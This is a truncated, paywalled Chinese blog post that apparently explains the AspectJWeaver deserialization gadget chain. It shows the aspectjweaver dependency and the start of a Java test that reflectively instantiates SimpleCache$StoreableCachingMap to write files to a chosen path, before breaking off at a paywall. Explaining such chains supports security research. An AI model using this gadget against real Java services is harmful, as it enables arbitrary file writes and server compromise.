依赖:
<dependencies>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>
测试类:
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws Exception{
//反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
//实例化对象
HashMap map = (HashMap)con.newInstance("D:",1);
//调用其put方法
map.pu

文章展示了如何通过Java反射技术调用AspectJ库中的私有内部类SimpleCache$StoreableCachingMap,结合CommonsCollections的LazyMap特性,构造特定的数据结构,利用BadAttributeValueExpException的反序列化过程触发文件写入操作。这个过程涉及到反射调用、内部类访问、序列化与反序列化的安全问题。
最低0.47元/天 解锁文章
443

被折叠的 条评论
为什么被折叠?



